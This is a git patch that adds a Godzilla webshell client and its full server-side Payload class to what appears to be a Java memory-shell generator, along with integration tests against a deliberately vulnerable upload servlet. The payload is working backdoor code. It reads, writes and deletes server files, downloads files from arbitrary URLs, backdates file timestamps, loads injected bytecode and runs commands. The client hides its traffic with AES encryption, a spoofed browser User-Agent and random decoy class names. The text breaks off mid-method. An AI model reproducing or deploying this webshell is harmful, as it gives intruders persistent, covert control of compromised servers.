From 7fa4dee03b4adaabceb735db30acd2f98cde7c81 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 27 Nov 2024 00:36:38 +0800 Subject: [PATCH] feat: add godzilla manager and integration container test --- build.gradle | 29 +- generator/build.gradle | 17 +- .../javaweb/godzilla/GodzillaManager.java | 264 +++ .../reajason/javaweb/godzilla/Payload.java | 1458 +++++++++++++++++ .../resources/godzillaShellClassNames.txt | 413 +++++ generator/src/main/resources/shell.jsp | 36 + .../javaweb/godzilla/GodzillaManagerTest.java | 21 + .../TomcatGodzillaIntegrationTest.java | 115 ++ settings.gradle | 3 +- vul-webapp/build.gradle | 14 +- vul-webapp/src/main/java/ErrorHandler.java | 129 ++ vul-webapp/src/main/java/UploadServlet.java | 49 + vul-webapp/src/main/webapp/WEB-INF/web.xml | 27 + vul-webapp/src/main/webapp/test.jsp | 7 +- 14 files changed, 2563 insertions(+), 19 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java create mode 100644 generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java create mode 100644 generator/src/main/resources/godzillaShellClassNames.txt create mode 100644 generator/src/main/resources/shell.jsp create mode 100644 generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/TomcatGodzillaIntegrationTest.java create mode 100644 vul-webapp/src/main/java/ErrorHandler.java create mode 100644 vul-webapp/src/main/java/UploadServlet.java diff --git a/build.gradle b/build.gradle index aac6967d..b527293a 100644 --- a/build.gradle +++ b/build.gradle @@ -1,6 +1,18 @@ +buildscript { + repositories { + maven { + url "https://plugins.gradle.org/m2/" + } + } + dependencies { + classpath "io.freefair.gradle:lombok-plugin:8.11" + } +} + allprojects { apply(plugin: 'java') apply(plugin: 'jacoco') + apply(plugin: "io.freefair.lombok") repositories { mavenCentral() @@ -13,14 +25,27 @@ allprojects { } test { - finalizedBy jacocoTestReport // report is always generated after tests run + useJUnitPlatform() + finalizedBy jacocoTestReport } + jacocoTestReport { - dependsOn test // tests are required to run before generating the report + dependsOn test } dependencies { + testImplementation 'org.slf4j:slf4j-simple:2.0.16' + testImplementation 'org.testcontainers:testcontainers:1.20.4' + testImplementation 'org.testcontainers:junit-jupiter:1.20.4' testImplementation platform('org.junit:junit-bom:5.11.3') testImplementation 'org.junit.jupiter:junit-jupiter' } + + tasks.withType(Test).tap { + configureEach { + testLogging { + events "passed", "skipped", "failed" + } + } + } } \ No newline at end of file diff --git a/generator/build.gradle b/generator/build.gradle index 96dd11ef..d2b9bf3a 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -1,10 +1,12 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - group = 'com.reajason.javaweb.memsell' version = '1.0-SNAPSHOT' +test { + dependsOn(":vul-webapp:build") + useJUnitPlatform() + finalizedBy jacocoTestReport +} + jacocoTestReport { reports { html.required = true @@ -15,6 +17,7 @@ jacocoTestReport { fileTree(dir: it, exclude: [ 'com/reajason/javaweb/memsell/**/godzilla/**', 'com/reajason/javaweb/memsell/**/injector/**', + 'com/reajason/javaweb/memsell/**/command/**', 'com/reajason/javaweb/config/**' ]) })) @@ -31,6 +34,8 @@ dependencies { implementation 'org.apache.commons:commons-lang3:3.17.0' implementation 'commons-codec:commons-codec:1.17.1' + implementation 'com.squareup.okhttp3:okhttp:4.12.0' + implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { exclude group: 'org.apache.tomcat', module: 'tomcat-api' exclude group: 'org.apache.tomcat', module: 'tomcat-juli' @@ -44,8 +49,4 @@ dependencies { exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api' exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api' } -} - -test { - useJUnitPlatform() } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java new file mode 100644 index 00000000..f0d2c2b5 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -0,0 +1,264 @@ +package com.reajason.javaweb.godzilla; + +import com.reajason.javaweb.memsell.GodzillaGenerator; +import lombok.Getter; +import lombok.Setter; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import okhttp3.*; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.codec.digest.DigestUtils; +import org.apache.commons.io.IOUtils; +import org.apache.commons.lang3.StringUtils; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.*; +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.*; +import java.util.zip.GZIPInputStream; +import java.util.zip.GZIPOutputStream; + +/** + * @author ReaJason + */ +@Getter +@Setter +public class GodzillaManager implements Closeable { + private final OkHttpClient client; + private static final List CLASS_NAMES; + private String J_SESSION_ID = ""; + private String entrypoint; + private String key; + private String pass; + private String md5; + private Request request; + private Map headers = new HashMap<>(); + + static { + InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt")); + CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8"); + } + + public static class GodzillaManagerBuilder { + private String entrypoint; + private String key; + private String pass; + private final Map headers = new HashMap<>(); + + public GodzillaManagerBuilder entrypoint(String entrypoint) { + this.entrypoint = entrypoint; + return this; + } + + public GodzillaManagerBuilder key(String key) { + this.key = key; + return this; + } + + public GodzillaManagerBuilder pass(String pass) { + this.pass = pass; + return this; + } + + public GodzillaManagerBuilder header(String key, String value) { + this.headers.put(key, value); + return this; + } + + public GodzillaManager build() { + GodzillaManager manager = new GodzillaManager(); + manager.setEntrypoint(entrypoint); + manager.setPass(pass); + String md5Key = DigestUtils.md5Hex(key).substring(0, 16); + String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase(); + manager.setMd5(md5); + manager.setKey(md5Key); + Map headers = new HashMap<>(16); + headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"); + headers.put("Content-Type", "application/x-www-form-urlencoded"); + headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"); + headers.putAll(this.headers); + manager.setHeaders(headers); + return manager; + } + } + + public static GodzillaManagerBuilder builder() { + return new GodzillaManagerBuilder(); + } + + public GodzillaManager() { + this.client = new OkHttpClient.Builder().build(); + } + + private Response post(byte[] bytes) throws IOException { + byte[] aes = aes(bytes, true); + assert aes != null; + String base64String = Base64.encodeBase64String(aes); + RequestBody requestBody = new FormBody.Builder() + .add("pass", base64String) + .build(); + Request.Builder builder = new Request.Builder() + .url(this.entrypoint) + .post(requestBody) + .headers(Headers.of(this.headers)); + if (StringUtils.isNotBlank(J_SESSION_ID)) { + builder.header("Cookie", J_SESSION_ID); + } + return client.newCall(builder.build()).execute(); + } + + public static byte[] generateGodzilla() { + Random random = new Random(); + String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size())); + try (DynamicType.Unloaded make = new ByteBuddy() + .redefine(Payload.class) + .name(className) + .make()) { + return make.getBytes(); + } + } + + public boolean start() { + byte[] bytes = generateGodzilla(); + try (Response response = post(bytes)) { + String setCookie = response.header("Set-Cookie"); + if (setCookie != null && setCookie.contains("JSESSIONID=")) { + J_SESSION_ID = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";")); + } + return response.code() == 200; + } catch (IOException e) { + return false; + } + } + + public boolean test() { + byte[] bytes = generateMethodCallBytes("test"); + try (Response response = post(bytes)) { + if (response.code() == 200) { + ResponseBody body = response.body(); + if (body != null) { + String resultFromRes = getResultFromRes(body.string()); + return "ok".equals(resultFromRes); + } + } + return false; + } catch (IOException e) { + e.printStackTrace(); + return false; + } + } + + @Override + public void close() throws IOException { + byte[] bytes = generateMethodCallBytes("close"); + try (Response response = post(bytes)) { + if (response.code() == 200) { + ResponseBody body = response.body(); + } + } catch (IOException ignore) { + + } + } + + /** + * AES 加解密 + * + * @param bytes 加解密的字符串字节数组 + * @param encoding 是否为加密,true 为加密,false 解密 + * @return 返回加解密后的字节数组 + */ + public byte[] aes(byte[] bytes, boolean encoding) { + System.out.println(key); + try { + Cipher c = Cipher.getInstance("AES"); + c.init(encoding ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES")); + return c.doFinal(bytes); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + private boolean isValidResponse(String response) { + if (StringUtils.isEmpty(response)) { + return false; + } + return response.startsWith(md5.substring(0, 16)) && response.endsWith(md5.substring(16)); + } + + public String getResultFromRes(String responseBody) throws IOException { + String result = responseBody.substring(16); + result = result.substring(0, result.length() - 16); + byte[] bytes = Base64.decodeBase64(result); + byte[] x = aes(bytes, false); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); + return IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8); + } + + Map restorePayload(String payload) throws IOException { + String p = URLDecoder.decode(payload, "UTF-8"); + Map map = new HashMap<>(); + byte[] bytes = Base64.decodeBase64(p); + byte[] x = aes(bytes, false); + ByteArrayInputStream tStream = new ByteArrayInputStream(x); + ByteArrayOutputStream tp = new ByteArrayOutputStream(); + byte[] lenB = new byte[4]; + int read; + try { + GZIPInputStream inputStream = new GZIPInputStream(tStream); + while (true) { + byte t = (byte) inputStream.read(); + if (t != -1) { + if (t == 2) { + String key = tp.toString(); + int read1 = inputStream.read(lenB); + int len = bytesToInt(lenB); + byte[] data = new byte[len]; + int readOneLen = 0; + do { + read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen); + readOneLen = read; + } while (read < data.length); + map.put(key, new String(data)); + tp.reset(); + } else { + tp.write(t); + } + } else { + tp.close(); + tStream.close(); + inputStream.close(); + break; + } + } + } catch (Exception ignored) { + } + return map; + } + + public static int bytesToInt(byte[] bytes) { + return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24); + } + + @SneakyThrows + private byte[] generateMethodCallBytes(String methodName) { + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStream);) { + byte[] value = "close".getBytes(); + gzipOutputStream.write("methodName".getBytes()); + gzipOutputStream.write(2); + gzipOutputStream.write(intToBytes(value.length)); + gzipOutputStream.write(value); + } + return byteArrayOutputStream.toByteArray(); + } + + public static byte[] intToBytes(int value) { + return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)}; + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java b/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java new file mode 100644 index 00000000..45655a08 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java @@ -0,0 +1,1458 @@ +package com.reajason.javaweb.godzilla; + +import lombok.Generated; + +import javax.imageio.ImageIO; +import java.awt.*; +import java.awt.image.BufferedImage; +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.InetAddress; +import java.net.NetworkInterface; +import java.net.URL; +import java.nio.file.Files; +import java.nio.file.LinkOption; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.nio.file.attribute.BasicFileAttributeView; +import java.nio.file.attribute.FileTime; +import java.sql.*; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; +import java.util.*; +import java.util.zip.GZIPInputStream; +import java.util.zip.GZIPOutputStream; + +@SuppressWarnings("all") +@Generated +public class Payload extends ClassLoader { + public static final char[] toBase64 = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; + HashMap parameterMap; + HashMap sessionMap; + Object servletContext; + Object servletRequest; + Object httpSession; + byte[] requestData; + ByteArrayOutputStream outputStream; + static Class class$0; + static Class class$1; + static Class class$2; + static Class class$3; + static Class class$4; + static Class class$5; + static Class class$6; + static Class class$7; + static Class class$8; + static Class class$9; + static Class class$10; + + public Payload() { + this.parameterMap = new HashMap(); + } + + public Payload(ClassLoader loader) { + super(loader); + this.parameterMap = new HashMap(); + } + + public Class m632g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public byte[] run() throws Exception { + String className; + String methodName; + try { + className = get("evalClassName"); + methodName = get("methodName"); + } catch (Throwable e) { + ByteArrayOutputStream stream = new ByteArrayOutputStream(); + PrintStream printStream = new PrintStream(stream); + e.printStackTrace(printStream); + printStream.flush(); + printStream.close(); + return stream.toByteArray(); + } + if (methodName != null) { + if (className == null) { + Method method = getClass().getMethod(methodName, null); + Class returnType = method.getReturnType(); + Class cls = class$0; + if (cls == null) { + try { + cls = Class.forName("[B"); + class$0 = cls; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + if (returnType.isAssignableFrom(cls)) { + return (byte[]) method.invoke(this, null); + } + return "this method returnType not is byte[]".getBytes(); + } + Class evalClass = (Class) this.sessionMap.get(className); + if (evalClass != null) { + Object object = evalClass.newInstance(); + object.equals(this.parameterMap); + object.toString(); + Object resultObject = this.parameterMap.get("result"); + if (resultObject != null) { + Class cls2 = class$0; + if (cls2 == null) { + try { + cls2 = Class.forName("[B"); + class$0 = cls2; + } catch (ClassNotFoundException unused2) { + throw new NoClassDefFoundError(cls2.getName()); + } + } + if (cls2.isAssignableFrom(resultObject.getClass())) { + return (byte[]) resultObject; + } + return "return typeErr".getBytes(); + } + return new byte[0]; + } + return "evalClass is null".getBytes(); + } + return "method is null".getBytes(); + } + + public void formatParameter() { + int read; + this.parameterMap.clear(); + this.parameterMap.put("sessionMap", this.sessionMap); + this.parameterMap.put("servletRequest", this.servletRequest); + this.parameterMap.put("servletContext", this.servletContext); + this.parameterMap.put("httpSession", this.httpSession); + byte[] parameterByte = this.requestData; + ByteArrayInputStream tStream = new ByteArrayInputStream(parameterByte); + ByteArrayOutputStream tp = new ByteArrayOutputStream(); + byte[] lenB = new byte[4]; + try { + GZIPInputStream inputStream = new GZIPInputStream(tStream); + while (true) { + byte t = (byte) inputStream.read(); + if (t != -1) { + if (t == 2) { + String key = new String(tp.toByteArray()); + inputStream.read(lenB); + int len = bytesToInt(lenB); + byte[] data = new byte[len]; + int readOneLen = 0; + do { + read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen); + readOneLen = read; + } while (read < data.length); + this.parameterMap.put(key, data); + tp.reset(); + } else { + tp.write(t); + } + } else { + tp.close(); + tStream.close(); + inputStream.close(); + return; + } + } + } catch (Exception e) { + } + } + + @Override + public boolean equals(Object obj) { + if (obj != null && handle(obj)) { + noLog(this.servletContext); + return true; + } + return false; + } + + public boolean handle(Object obj) { + if (obj == null) { + return false; + } + Class cls = class$1; + if (cls == null) { + try { + cls = Class.forName("java.io.ByteArrayOutputStream"); + class$1 = cls; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + if (cls.isAssignableFrom(obj.getClass())) { + this.outputStream = (ByteArrayOutputStream) obj; + return false; + } + if (supportClass(obj, "%s.servlet.http.HttpServletRequest")) { + this.servletRequest = obj; + } else if (supportClass(obj, "%s.servlet.ServletRequest")) { + this.servletRequest = obj; + } else { + Class cls2 = class$0; + if (cls2 == null) { + try { + cls2 = Class.forName("[B"); + class$0 = cls2; + } catch (ClassNotFoundException unused2) { + throw new NoClassDefFoundError(unused2.getMessage()); + } + } + if (cls2.isAssignableFrom(obj.getClass())) { + this.requestData = (byte[]) obj; + } else if (supportClass(obj, "%s.servlet.http.HttpSession")) { + this.httpSession = obj; + } + } + handlePayloadContext(obj); + if (this.servletRequest != null && this.requestData == null) { + Object obj2 = this.servletRequest; + Class[] clsArr = new Class[1]; + Class cls3 = class$2; + if (cls3 == null) { + try { + cls3 = Class.forName("java.lang.String"); + class$2 = cls3; + } catch (ClassNotFoundException unused3) { + throw new NoClassDefFoundError(unused3.getMessage()); + } + } + clsArr[0] = cls3; + Object retVObject = getMethodAndInvoke(obj2, "getAttribute", clsArr, new Object[]{"parameters"}); + if (retVObject != null) { + Class cls4 = class$0; + if (cls4 == null) { + try { + cls4 = Class.forName("[B"); + class$0 = cls4; + } catch (ClassNotFoundException unused4) { + throw new NoClassDefFoundError(unused4.getMessage()); + } + } + if (cls4.isAssignableFrom(retVObject.getClass())) { + this.requestData = (byte[]) retVObject; + return true; + } + return true; + } + return true; + } + return true; + } + + private void handlePayloadContext(Object obj) { + try { + Method getRequestMethod = getMethodByClass(obj.getClass(), "getRequest", null); + Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext", null); + Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession", null); + if (getRequestMethod != null && this.servletRequest == null) { + this.servletRequest = getRequestMethod.invoke(obj, null); + } + if (getServletContextMethod != null && this.servletContext == null) { + this.servletContext = getServletContextMethod.invoke(obj, null); + } + if (getSessionMethod != null && this.httpSession == null) { + this.httpSession = getSessionMethod.invoke(obj, null); + } + } catch (Exception e) { + } + } + + private boolean supportClass(Object obj, String classNameString) { + Class c; + if (obj == null) { + return false; + } + boolean ret = false; + try { + Class c2 = getClass(String.format(classNameString, "javax")); + if (c2 != null) { + ret = c2.isAssignableFrom(obj.getClass()); + } + if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) { + ret = c.isAssignableFrom(obj.getClass()); + } + } catch (Exception e) { + } + return ret; + } + + @Override + public String toString() { + String returnString = null; + if (this.outputStream != null) { + try { + initSessionMap(); + GZIPOutputStream gzipOutputStream = new GZIPOutputStream(this.outputStream); + formatParameter(); + if (this.parameterMap.get("evalNextData") != null) { + run(); + this.requestData = (byte[]) this.parameterMap.get("evalNextData"); + formatParameter(); + } + gzipOutputStream.write(run()); + gzipOutputStream.close(); + this.outputStream.close(); + } catch (Throwable e) { + returnString = e.getMessage(); + } + } else { + returnString = "outputStream is null"; + } + this.httpSession = null; + this.outputStream = null; + this.parameterMap = null; + this.requestData = null; + this.servletContext = null; + this.servletRequest = null; + this.sessionMap = null; + return returnString; + } + + private void initSessionMap() { + if (this.sessionMap == null) { + if (getSessionAttribute("sessionMap") != null) { + try { + this.sessionMap = (HashMap) getSessionAttribute("sessionMap"); + } catch (Exception e) { + } + } else { + this.sessionMap = new HashMap(); + try { + setSessionAttribute("sessionMap", this.sessionMap); + } catch (Exception e2) { + } + } + if (this.sessionMap == null) { + this.sessionMap = new HashMap(); + } + } + } + + public String get(String key) { + try { + return new String((byte[]) this.parameterMap.get(key)); + } catch (Exception e) { + return null; + } + } + + public byte[] getByteArray(String key) { + try { + return (byte[]) this.parameterMap.get(key); + } catch (Exception e) { + return null; + } + } + + public byte[] test() { + return "ok".getBytes(); + } + + public byte[] getFile() { + String str; + String dirName = get("dirName"); + if (dirName != null) { + String dirName2 = dirName.trim(); + String buffer = new String(); + try { + String currentDir = new StringBuffer().append(new File(dirName2).getAbsoluteFile()).append("/").toString(); + File currentDirFile = new File(currentDir); + if (currentDirFile.exists()) { + File[] files = currentDirFile.listFiles(); + String buffer2 = new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(buffer)).append("ok").toString())).append("\n").toString())).append(currentDir).toString())).append("\n").toString(); + if (files != null) { + for (File file : files) { + try { + buffer2 = new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(buffer2)).append(file.getName()).toString())).append("\t").toString())).append(file.isDirectory() ? "0" : "1").toString())).append("\t").toString())).append(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(file.lastModified()))).toString())).append("\t").toString())).append(Integer.toString((int) file.length())).toString())).append("\t").toString(); + StringBuffer append = new StringBuffer(String.valueOf(file.canRead() ? "R" : "")).append(file.canWrite() ? "W" : ""); + Class cls = class$3; + if (cls == null) { + try { + cls = Class.forName("java.io.File"); + class$3 = cls; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + if (getMethodByClass(cls, "canExecute", null) != null) { + str = file.canExecute() ? "X" : ""; + } else { + str = ""; + } + String fileState = append.append(str).toString(); + buffer2 = new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(buffer2)).append((fileState == null || fileState.trim().length() == 0) ? "F" : fileState).toString())).append("\n").toString(); + } catch (Exception e) { + buffer2 = new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(buffer2)).append(e.getMessage()).toString())).append("\n").toString(); + } + } + } + return buffer2.getBytes(); + } + return "dir does not exist".getBytes(); + } catch (Exception e2) { + return String.format("dir does not exist errMsg:%s", e2.getMessage()).getBytes(); + } + } + return "No parameter dirName".getBytes(); + } + + public String listFileRoot() { + File[] files = File.listRoots(); + String buffer = new String(); + for (File file : files) { + buffer = new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(buffer)).append(file.getPath()).toString())).append(";").toString(); + } + return buffer; + } + + public byte[] fileRemoteDown() { + String url = get("url"); + String saveFile = get("saveFile"); + if (url != null && saveFile != null) { + FileOutputStream outputStream = null; + try { + InputStream inputStream = new URL(url).openStream(); + outputStream = new FileOutputStream(saveFile); + byte[] data = new byte[5120]; + while (true) { + int readNum = inputStream.read(data); + if (readNum != -1) { + outputStream.write(data, 0, readNum); + } else { + outputStream.flush(); + outputStream.close(); + inputStream.close(); + return "ok".getBytes(); + } + } + } catch (Exception e) { + if (outputStream != null) { + try { + outputStream.close(); + } catch (IOException e1) { + return e1.getMessage().getBytes(); + } + } + return String.format("%s : %s", e.getClass().getName(), e.getMessage()).getBytes(); + } + } else { + return "url or saveFile is null".getBytes(); + } + } + + public byte[] setFileAttr() { + String ret; + String type = get("type"); + String attr = get("attr"); + String fileName = get("fileName"); + if (type != null && attr != null && fileName != null) { + try { + File file = new File(fileName); + if ("fileBasicAttr".equals(type)) { + Class cls = class$3; + if (cls == null) { + try { + cls = Class.forName("java.io.File"); + class$3 = cls; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + if (getMethodByClass(cls, "setWritable", new Class[]{Boolean.TYPE}) != null) { + if (attr.indexOf("R") != -1) { + file.setReadable(true); + } + if (attr.indexOf("W") != -1) { + file.setWritable(true); + } + if (attr.indexOf("X") != -1) { + file.setExecutable(true); + } + ret = "ok"; + } else { + ret = "Java version is less than 1.6"; + } + } else if ("fileTimeAttr".equals(type)) { + Class cls2 = class$3; + if (cls2 == null) { + try { + cls2 = Class.forName("java.io.File"); + class$3 = cls2; + } catch (ClassNotFoundException unused2) { + throw new NoClassDefFoundError(unused2.getMessage()); + } + } + if (getMethodByClass(cls2, "setLastModified", new Class[]{Long.TYPE}) != null) { + Date date = new Date(0L); + StringBuilder builder = new StringBuilder(); + builder.append(attr); + char[] cs = new char[13 - builder.length()]; + Arrays.fill(cs, '0'); + builder.append(cs); + Date date2 = new Date(date.getTime() + Long.parseLong(builder.toString())); + file.setLastModified(date2.getTime()); + ret = "ok"; + try { + Class nioFile = Class.forName("java.nio.file.Paths"); + Class basicFileAttributeViewClass = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); + Class filesClass = Class.forName("java.nio.file.Files"); + if (nioFile != null && basicFileAttributeViewClass != null && filesClass != null) { + Path r0 = Paths.get(fileName, new String[0]); + Class cls3 = class$4; + if (cls3 == null) { + try { + cls3 = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); + class$4 = cls3; + } catch (ClassNotFoundException unused3) { + throw new NoClassDefFoundError(unused3.getMessage()); + } + } + BasicFileAttributeView attributeView = (BasicFileAttributeView) Files.getFileAttributeView(r0, cls3, new LinkOption[0]); + attributeView.setTimes(FileTime.fromMillis(date2.getTime()), FileTime.fromMillis(date2.getTime()), FileTime.fromMillis(date2.getTime())); + } + } catch (Exception e) { + } + } else { + ret = "Java version is less than 1.2"; + } + } else { + ret = "no ExcuteType"; + } + } catch (Exception e2) { + return String.format("Exception errMsg:%s", e2.getMessage()).getBytes(); + } + } + ret = "type or attr or fileName is null"; + return ret.getBytes(); + } + + public byte[] readFile() { + int read; + String fileName = get("fileName"); + if (fileName != null) { + File file = new File(fileName); + try { + if (file.exists() && file.isFile()) { + byte[] data = new byte[(int) file.length()]; + if (data.length > 0) { + int readOneLen = 0; + FileInputStream fileInputStream = new FileInputStream(file); + do { + read = readOneLen + fileInputStream.read(data, readOneLen, data.length - readOneLen); + readOneLen = read; + } while (read < data.length); + fileInputStream.close(); + } else { + byte[] temData = new byte[3145728]; + FileInputStream fileInputStream2 = new FileInputStream(file); + int readLen = fileInputStream2.read(temData); + if (readLen > 0) { + data = new byte[readLen]; + System.arraycopy(temData, 0, data, 0, data.length); + } + fileInputStream2.close(); + } + return data; + } + return "file does not exist".getBytes(); + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } + return "No parameter fileName".getBytes(); + } + + public byte[] uploadFile() { + String fileName = get("fileName"); + byte[] fileValue = getByteArray("fileValue"); + if (fileName != null && fileValue != null) { + try { + File file = new File(fileName); + file.createNewFile(); + FileOutputStream fileOutputStream = new FileOutputStream(file); + fileOutputStream.write(fileValue); + fileOutputStream.close(); + return "ok".getBytes(); + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } + return "No parameter fileName and fileValue".getBytes(); + } + + public byte[] newFile() { + String fileName = get("fileName"); + if (fileName != null) { + File file = new File(fileName); + try { + if (file.createNewFile()) { + return "ok".getBytes(); + } + return "fail".getBytes(); + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } + return "No parameter fileName".getBytes(); + } + + public byte[] newDir() { + String dirName = get("dirName"); + if (dirName != null) { + File file = new File(dirName); + try { + if (file.mkdirs()) { + return "ok".getBytes(); + } + return "fail".getBytes(); + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } + return "No parameter fileName".getBytes(); + } + + public byte[] deleteFile() { + String dirName = get("fileName"); + if (dirName != null) { + try { + File file = new File(dirName); + deleteFiles(file); + return "ok".getBytes(); + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } + return "No parameter fileName".getBytes(); + } + + public byte[] moveFile() { + String srcFileName = get("srcFileName"); + String destFileName = get("destFileName"); + if (srcFileName != null && destFileName != null) { + File file = new File(srcFileName); + try { + if (file.exists()) { + if (file.renameTo(new File(destFileName))) { + return "ok".getBytes(); + } + return "fail".getBytes(); + } + return "The target does not exist".getBytes(); + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } + return "No parameter srcFileName,destFileName".getBytes(); + } + + public byte[] copyFile() { + String srcFileName = get("srcFileName"); + String destFileName = get("destFileName"); + if (srcFileName != null && destFileName != null) { + File srcFile = new File(srcFileName); + File destFile = new File(destFileName); + try { + if (srcFile.exists() && srcFile.isFile()) { + FileInputStream fileInputStream = new FileInputStream(srcFile); + FileOutputStream fileOutputStream = new FileOutputStream(destFile); + byte[] data = new byte[5120]; + while (true) { + int readNum = fileInputStream.read(data); + if (readNum > -1) { + fileOutputStream.write(data, 0, readNum); + } else { + fileInputStream.close(); + fileOutputStream.close(); + return "ok".getBytes(); + } + } + } else { + return "The target does not exist or is not a file".getBytes(); + } + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } else { + return "No parameter srcFileName,destFileName".getBytes(); + } + } + + public byte[] include() { + byte[] binCode = getByteArray("binCode"); + String className = get("codeName"); + if (binCode != null && className != null) { + try { + Payload payload = new Payload(getClass().getClassLoader()); + Class module = payload.m632g(binCode); + this.sessionMap.put(className, module); + return "ok".getBytes(); + } catch (Exception e) { + if (this.sessionMap.get(className) != null) { + return "ok".getBytes(); + } + return e.getMessage().getBytes(); + } + } + return "No parameter binCode,codeName".getBytes(); + } + + public Object getSessionAttribute(String keyString) { + if (this.httpSession != null) { + Object obj = this.httpSession; + Class[] clsArr = new Class[1]; + Class cls = class$2; + if (cls == null) { + try { + cls = Class.forName("java.lang.String"); + class$2 = cls; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + clsArr[0] = cls; + return getMethodAndInvoke(obj, "getAttribute", clsArr, new Object[]{keyString}); + } + return null; + } + + public void setSessionAttribute(String keyString, Object value) { + if (this.httpSession != null) { + Object obj = this.httpSession; + Class[] clsArr = new Class[2]; + Class cls = class$2; + if (cls == null) { + try { + cls = Class.forName("java.lang.String"); + class$2 = cls; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + clsArr[0] = cls; + Class cls2 = class$5; + if (cls2 == null) { + try { + cls2 = Class.forName("java.lang.Object"); + class$5 = cls2; + } catch (ClassNotFoundException unused2) { + throw new NoClassDefFoundError(unused2.getMessage()); + } + } + clsArr[1] = cls2; + getMethodAndInvoke(obj, "setAttribute", clsArr, new Object[]{keyString, value}); + } + } + + public byte[] execCommand() { + String argsCountStr = get("argsCount"); + if (argsCountStr != null && argsCountStr.length() > 0) { + try { + ArrayList argsList = new ArrayList(); + int argsCount = 